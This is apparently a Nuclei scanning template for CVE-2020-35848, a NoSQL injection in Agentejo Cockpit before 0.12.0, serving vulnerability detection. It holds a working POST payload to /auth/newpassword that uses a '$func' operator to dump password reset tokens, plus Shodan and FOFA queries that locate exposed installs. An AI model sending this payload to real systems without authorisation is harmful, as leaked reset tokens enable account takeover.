CVE-2020-35848: Agentejo Cockpit <0.12.0 - NoSQL Injection

id: CVE-2020-35848

info:
  name: Agentejo Cockpit <0.12.0 - NoSQL Injection
  author: dwisiswant0
  severity: critical
  description: Agentejo Cockpit prior to 0.12.0 is vulnerable to NoSQL Injection via the newpassword method of the Auth controller, which is responsible for displaying the user password reset form.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to manipulate database queries, potentially leading to unauthorized access, data leakage, or data corruption.
  remediation: |
    Upgrade Agentejo Cockpit to version 0.12.0 or later to mitigate this vulnerability.
  reference:
    - https://swarm.ptsecurity.com/rce-cockpit-cms/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35848
    - https://getcockpit.com/
    - https://github.com/agentejo/cockpit/commit/2a385af8d80ed60d40d386ed813c1039db00c466
    - https://github.com/agentejo/cockpit/commit/33e7199575631ba1f74cba6b16b10c820bec59af
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-35848
    cwe-id: CWE-89
    epss-score: 0.9202
    epss-percentile: 0.99692
    cpe: cpe:2.3:a:agentejo:cockpit:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: agentejo
    product: cockpit
    shodan-query:
      - http.favicon.hash:688609340
      - http.html:"cockpit"
    fofa-query:
      - icon_hash=688609340
      - body="cockpit"
  tags: cve,cve2020,nosqli,sqli,cockpit,injection,agentejo

http:
  - method: POST
    path:
      - "{{BaseURL}}/auth/newpassword"

    body: |
      {
        "token": {
          "$func": "var_dump"
        }
      }

    headers:
      Content-Type: application/json
    matchers:
      - type: regex
        part: body
        regex:
          - 'string\([0-9]{1,3}\)(\s)?"rp-([a-f0-9-]+)"'
# digest: 4a0a00473045022100907c4075f7337bed0f05435a70bc8e6b1e3c6b1f0a1bbfd6348b9126413bec7b0220300798e578948d222a503e55046f656b11f11eabc21b4e57a446aaeef538570a:922c64590222798bb761d5b6d8e72950